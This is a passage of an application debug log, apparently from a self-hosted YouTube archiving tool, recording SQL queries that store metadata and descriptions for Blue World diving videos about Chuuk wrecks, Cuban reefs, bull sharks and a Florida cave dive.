3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n#rebreather \n#wreckdiving \n\nChapters:\n0:00 Intro\n1:48 Getting to Chuuk\n5:15 About the Battle\n6:18 Our adventure begins\n8:35 Our first wreck: Nippo Maru\n18:28 Evening fun\n20:52 Our second wreck: Sankisan Maru\n26:42 Our Third Wreck: Rio Dejaneiro Maru\n35:12 Close and credits", "Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]", "3474e0e4-c686-4d56-8fdc-96447000d8b5", "h2NPGc12V-4", false, "https://www.youtube.com/watch?v=h2NPGc12V-4", 34, [], 2163, false, 9, "/downloads/rory/BlueWorldTV/2025-10-25 Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]/Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2] [h2NPGc12V-4].mp4", false, false, 98, ~U[2025-10-25 14:01:08Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "Jonathan and Todd team up with rock guitarist John Wesley and travel to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the second in a series of five episodes coming from our Chuuk expedition. \n\nThe wrecks explored in this segment are the Nippo Maru, Sankisan Maru and Rio Dejaneiro Maru.\n\nThis is PART 2 of the Chuuk adventure. Did you see PART 1?\nhttps://youtu.be/N1tKGFoW7W8\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n#rebreather \n#wreckdiving \n\nChapters:\n0:00 Intro\n1:48 Getting to Chuuk\n5:15 About the Battle\n6:18 Our adventure begins\n8:35 Our first wreck: Nippo Maru\n18:28 Evening fun\n20:52 Our second wreck: Sankisan Maru\n26:42 Our Third Wreck: Rio Dejaneiro Maru\n35:12 Close and credits", "Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]", "h2NPGc12V-4", "https://www.youtube.com/watch?v=h2NPGc12V-4", 34, 2163, false, "/downloads/rory/BlueWorldTV/2025-10-25 Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]/Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2] [h2NPGc12V-4].mp4", false, ~U[2025-10-25 14:01:08Z]] 19:03:33.898 [debug] QUERY OK source="sources" db=0.2ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.899 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-06 14:01:22Z], 34] 19:03:33.900 [debug] QUERY OK source="media_items" db=0.9ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Christine visit the marine protected area of Jardines de la Reina (Gardens of the Queen) in Cuba on board the Jardines Aggressor diving yacht to see how the reefs of the Caribbean looked 30 years ago!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cuba #scuba \n\nChapters:\n0:00 Intro\n1:45 Arrive on the Boat\n4:16 First Dive\n11:09 Night Dive\n12:20 Land Excursion\n13:50 Another Dive\n16:55 Summary and Close", "Diving the Pristine Reefs of CUBA!", "721d9070-741a-436d-97bb-11b0c805786e", "s0KGNqDNyDk", false, "https://www.youtube.com/watch?v=s0KGNqDNyDk", 34, [], 1085, false, 10, "/downloads/rory/BlueWorldTV/2025-09-06 Diving the Pristine Reefs of CUBA!/Diving the Pristine Reefs of CUBA! [s0KGNqDNyDk].mp4", false, false, 98, ~U[2025-09-06 14:01:22Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "Jonathan and Christine visit the marine protected area of Jardines de la Reina (Gardens of the Queen) in Cuba on board the Jardines Aggressor diving yacht to see how the reefs of the Caribbean looked 30 years ago!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cuba #scuba \n\nChapters:\n0:00 Intro\n1:45 Arrive on the Boat\n4:16 First Dive\n11:09 Night Dive\n12:20 Land Excursion\n13:50 Another Dive\n16:55 Summary and Close", "Diving the Pristine Reefs of CUBA!", "s0KGNqDNyDk", "https://www.youtube.com/watch?v=s0KGNqDNyDk", 34, 1085, false, "/downloads/rory/BlueWorldTV/2025-09-06 Diving the Pristine Reefs of CUBA!/Diving the Pristine Reefs of CUBA! [s0KGNqDNyDk].mp4", false, ~U[2025-09-06 14:01:22Z]] 19:03:33.900 [debug] QUERY OK source="sources" db=0.2ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.901 [debug] QUERY OK source="media_items" db=0.9ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-02 14:01:30Z], 34] 19:03:33.903 [debug] QUERY OK source="media_items" db=0.8ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd return to Playa del Carmen to investigate how the Bull sharks are doing ten years after our epic Bull shark adventure!\n\nTo see the original episode:\nhttps://youtu.be/vrkkQO9zVfA\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #mexico", "Return to the BULL SHARKS of Mexico!", "f1e9d42d-0680-45bd-b5d6-56d7ca590a5d", "st5_OKH1O-g", false, "https://www.youtube.com/watch?v=st5_OKH1O-g", 34, [], 564, false, 11, "/downloads/rory/BlueWorldTV/2025-08-02 Return to the BULL SHARKS of Mexico!/Return to the BULL SHARKS of Mexico! [st5_OKH1O-g].mp4", false, false, 98, ~U[2025-08-02 14:01:30Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "Jonathan and Todd return to Playa del Carmen to investigate how the Bull sharks are doing ten years after our epic Bull shark adventure!\n\nTo see the original episode:\nhttps://youtu.be/vrkkQO9zVfA\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #mexico", "Return to the BULL SHARKS of Mexico!", "st5_OKH1O-g", "https://www.youtube.com/watch?v=st5_OKH1O-g", 34, 564, false, "/downloads/rory/BlueWorldTV/2025-08-02 Return to the BULL SHARKS of Mexico!/Return to the BULL SHARKS of Mexico! [st5_OKH1O-g].mp4", false, ~U[2025-08-02 14:01:30Z]] 19:03:33.903 [debug] QUERY OK source="sources" db=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.904 [debug] QUERY OK source="media_items" db=0.9ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-05 14:00:11Z], 34] 19:03:33.906 [debug] QUERY OK source="media_items" db=1.3ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The Blue World dive team travels to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks and plane wrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the first in a series of five episodes coming from our Chuuk adventure.\n\nThe wrecks explored in this segment are the Kiyosumi Maru, the Mitsubishi G4M \"Betty Bomber\" airplane, and the Yamagiri Maru.\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey liveaboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro and History\n3:16 We Arrive\n5:36 Dive on the Kiyosumi Maru\n10:45 Dive on the Betty Bomber\n16:27 Dive on the Yamagiri Maru\n22:43 Wrap up and credits", "Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]", "6f55e97a-4f07-4269-ae61-3adf88de6716", "N1tKGFoW7W8", false, "https://www.youtube.com/watch?v=N1tKGFoW7W8", 34, [], 1404, false, 12, "/downloads/rory/BlueWorldTV/2025-07-05 Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]/Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1] [N1tKGFoW7W8].mp4", false, false, 98, ~U[2025-07-05 14:00:11Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "The Blue World dive team travels to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks and plane wrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the first in a series of five episodes coming from our Chuuk adventure.\n\nThe wrecks explored in this segment are the Kiyosumi Maru, the Mitsubishi G4M \"Betty Bomber\" airplane, and the Yamagiri Maru.\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey liveaboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro and History\n3:16 We Arrive\n5:36 Dive on the Kiyosumi Maru\n10:45 Dive on the Betty Bomber\n16:27 Dive on the Yamagiri Maru\n22:43 Wrap up and credits", "Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]", "N1tKGFoW7W8", "https://www.youtube.com/watch?v=N1tKGFoW7W8", 34, 1404, false, "/downloads/rory/BlueWorldTV/2025-07-05 Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]/Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1] [N1tKGFoW7W8].mp4", false, ~U[2025-07-05 14:00:11Z]] 19:03:33.906 [debug] QUERY OK source="sources" db=0.3ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:33.907 [debug] QUERY OK source="media_items" db=0.8ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-14 14:00:11Z], 34] 19:03:33.909 [debug] QUERY OK source="media_items" db=1.0ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd team up with Gus and Woody from @DiveTalk to dive a famously tight section of cave in Madison Blue Springs known as \"Rocky Horror.\" If you are claustrophobic, it's definitely going to be horrific! For us though, it was pretty awesome fun! \n\nAnd as an added bonus, don't forget to check out Gus and Woody's reaction to this video!\nhttps://youtu.be/5IL1I3NJd5Q\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:04 The team meets in Florida\n2:56 We arrive at Madison Blue Springs\n6:44 The dive begins\n11:42 Arrive at Rocky Horror passage\n16:02 We reach the end and turn around\n17:47 Closing comments", "ROCKY HORROR Cave Dive at Madison Blue Springs!", "bf511485-ee11-471e-80b4-8b35785af627", "8t_R2cmYrBY", false, "https://www.youtube.com/watch?v=8t_R2cmYrBY", 34, [], 1127, false, 13, "/downloads/rory/BlueWorldTV/2025-06-14 ROCKY HORROR Cave Dive at Madison Blue Springs!/ROCKY HORROR Cave Dive at Madison Blue Springs! [8t_R2cmYrBY].mp4", false, false, 98, ~U[2025-06-14 14:00:11Z], ~U[2026-06-03 23:03:33Z], ~U[2026-06-03 23:03:33Z], "Jonathan and Todd team up with Gus and Woody from @DiveTalk to dive a famously tight section of cave in Madison Blue Springs known as \"Rocky Horror.\" If you are claustrophobic, it's definitely going to be horrific! For us though, it was pretty awesome fun! \n\nAnd as an added bonus, don't forget to check out Gus and Woody's reaction to this video!\nhttps://youtu.be/5IL1I3NJd5Q\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave 